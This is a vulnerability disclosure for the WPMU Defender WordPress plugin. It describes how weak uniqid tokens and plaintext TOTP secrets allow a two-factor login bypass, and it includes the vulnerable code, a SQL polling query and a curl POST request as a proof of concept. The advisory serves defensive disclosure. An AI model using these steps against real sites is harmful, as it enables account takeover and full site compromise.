Affected plugin | WPMU Defender |
Active installs | 70,000+ |
Vulnerable version | <= 3.3.0 |
Audited version | 3.2.0 |
Fully patched version | – |
Recommended remediation | Removal of the plugin |
Description
An attacker can compromise any site using the plugin’s 2FA functionality by logging in as any user with two-factor authentication configured.
The precondition is that any plugin, any theme, or WordPress Core has one of the seemingly never-ending real-only SQL Injection vulnerabilities.
Furthermore, the attacker needs to obtain a valid WordPress nonce which he can achieve by being a subscriber or higher on the target site (WooCommerce, LMS) or through a leaked nonce salt.
Proof of concept
This attack is possible through multiple security neglects in the plugin.
Once a legitimate user with 2FA enabled tries to log in to his account, the plugin will intercept the request and redirect the user to the 2FA form.
Before that happens a “random” token will be generated and stored for the user in the “wp_usermeta” table.
// EDITOR: more code here
$params['token'] = uniqid( 'two_fa' );
update_user_meta( $user->ID, 'defender_two_fa_token', $params['token'] );
// EDITOR: 2FA form is shown here.
*Using the “uniqid” function is the first mistake as the PHP manual clearly states that this function does not generate cryptographically secure values.
Caution
This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead.
The plugin includes the “random” token as a hidden form field in the 2FA form so that it can identify the user it should log in the after the subsequent (successful) 2FA validation.
An attacker can use this mechanism to trick the plugin into logging him in without ever providing the primary credentials of the target user.
The exploitable method is called “Two_Factor::verify_otp_login_time” and runs every time a post request is submitted to “/wp-login.php?action=defender-verify-otp“.
Leaving out most of the boilerplate code, the method performs the following tasks:
- Validation of a WordPress nonce
- Fetching the user to be logged in by querying the “wp_usermeta” table for the “random” token.
- Validating the configured 2FA method (TOTP in this case)
- Logging in the user from step 2.
public function verify_otp_login_time() {
// EDITOR: WordPress nonce validation
if ( ! wp_verify_nonce( $_POST['_wpnonce'], 'verify_otp' ) ) {
return;
}
// EDITOR: finding the user by token
$token = HTTP::post( 'login_token' );
$query = new \WP_User_Query(
[
'blog_id' => 0,
'meta_key' => 'defender_two_fa_token',
'meta_value' => $token,
]
);
$user = $query->get_results()[0];
// EDITOR: validating the TOTP code
$result = $provider->validate_authentication( $user );
if ( $result ) {
// EDITOR: logging in the user
$user_id = $user->ID;
wp_set_current_user( $user_id, $user->user_login );
wp_set_auth_cookie( $user_id, true );
}
}
First, an attacker must gain access to a valid WordPress nonce for the action “verify_otp“.
To easiest way for this is being a subscriber (or higher) on the target site. A common case for this would be a WooCommerce customer or an LMS member.
After an attacker logs into the site using his (low-privileged) primary credentials, the plugin will redirect him to a site containing the following 2FA form:
<form method="post" class="wpdef-2fa-form" id="wpdef-2fa-form-backup-codes" action="https://2fa.test/wp-login.php?action=defender-verify-otp" style="display: block;">
<p class="wpdef-2fa-label">Backup Codes</p>
<p class="wpdef-2fa-text">
Enter one of your recovery codes to log in to your account.
</p>
<input type="text" autofocus="" value="" autocomplete="off" name="backup-codes">
<button class="button button-primary float-r" type="submit">Authenticate</button>
<input type="hidden" name="auth_method" value="backup-codes">
<input type="hidden" name="login_token" value="two_fa6318b5cd2e2fe">
<input type="hidden" name="redirect_to" value="https://2fa.test/wp-admin/">
<input type="hidden" name="password" value="sub">
<input type="hidden" id="_wpnonce" name="_wpnonce" value="0a5c3caa04"><input type="hidden" name="_wp_http_referer" value="/wp-login.php">
</form>
Line 14 contains a WordPress nonce (0a5c3caa04) that will be valid during the next 24 hours.
Now, an attacker can use his read-only SQLi to continuously poll the “wp_usermeta” table for inserts into the “wp_usermeta” table.
SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'defender_two_fa_token'
Every time this query returns a result, the “meta_value” column will contain
a valid “random” token (as serialized PHP array) that the attacker can use to initiate the login flow for the user with the id of the “user_id” column.
An attacker now has a 10 to 15 seconds time window before the target user enters his TOTP code from his authentication app, which is more than enough to pull off the attack in an automated fashion.
An attacker can now fetch the user’s TOTP secret from the database since the plugin stores them in plaintext.
Knowing the target user’s TOTP secret is the only thing necessary to generate a valid six-digit one-time-password using a TOTP library in any programming language.
Suppose a valid TOTP at the time of launching the attacker is 123456 and the fetched login token is “342343223456asd425sdfda1“.
Submitting the following POST request will log the attacker in as the target user.
curl -X POST https://target.com/wp-login.php?action=defender-verify-otp \
-d otp=123456 \
-d _wpnonce=0a5c3caa04 \
-d login_token=342343223456asd425sdfda1
The site is now wholly compromised.
Timeline
Vendor contacted | September 07, 2022 |
First Response | September 08, 2022 |
Fully patched at | – |
Publicly disclosed | April 24, 2023 |
Leave a Reply